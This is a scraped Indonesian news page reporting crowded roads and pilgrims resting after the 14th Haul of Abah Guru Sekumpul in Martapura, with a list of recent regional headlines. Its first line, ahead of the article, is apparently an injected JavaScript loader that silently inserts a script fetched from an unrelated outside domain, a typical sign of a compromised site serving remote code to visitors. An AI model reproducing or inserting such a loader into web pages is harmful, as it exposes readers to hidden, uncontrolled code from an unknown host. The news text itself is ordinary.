(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Haul Sekumpul 14

Hindari Macet, Sebagian Jamaah Masih Pilih Istirahat di Pusat Haul Sekumpul


MARTAPURA, Sungguh luarbiasa perhelatan Haul ke-14, Abah Guru Sekumpul. Jutaan jamaah yang berdatangan dari berbagai penjuru, memadati kota bertajuk Serambi Mekah hingga berakhirnya acara, Minggu (10/3).

Berdasarkan pantauan Kanalkalimantan.com, acara haul tahun ini jauh lebih banyak dipadati oleh para jamaah.  Pasalnya kepadataannya di luar prediksi hingga mencapai Qmall Banjarbaru. Usai acara pun, jamaah nampak meningkalkan lokasi kegiatan. Namun memerlukan waktu berjam-jam hingga jalan jalur utama radius 4 km bisa dilalui para jamaah yang lain.

Ribuan jamaah yang enggan berdesakan pilih tak langsung pulang meninggalkan lokasi. Mengingat saking padatnya pejalan kaki masih tidak ada habisnya. “Saya lebih baik menunggu jamaah yang lain pulang dulu, agar tidak berdesak-desakan dengan yang lain,” ujar Jubaidah, jamaah asal Samarinda.

Untuk sementara waktu dirinya memilih istriahat hingga bermalam di dalam mesjid Pancasila, sembari memantau situasi arus pulang.

Hal yang sama juga disampaikan oleh Zain, jamaah asal Kalimantan Tengah. Ia memilih untuk beristirahat didepan rumah warga sembari melenggangkan ribuan jamaah yang memadati jalur utama haul abah Guru Sekumpul. “Saya tidak langsung pulang sekarang, jalannya pasti masih padat merayap, saya mau istirahat dahulu sembari memantau kondisi jalan pulang,” akunya.

Hingga pukul 23.45 Wita, suasana di jalan utama seperti simpang 4 Masjid Pancasila masih dipenuhi ribuan jamaah yang berdatangan dari berbagai daerah untuk menuju jalur pulang. Sementara di jalan pulang para jamaah nampaknya diberlakukan rekayasa lalulintas satu jalur seperti yang diatur di jalan Veteran Martapura menuju Banjarbaru. (rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

10 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

11 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

11 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

13 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

19 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.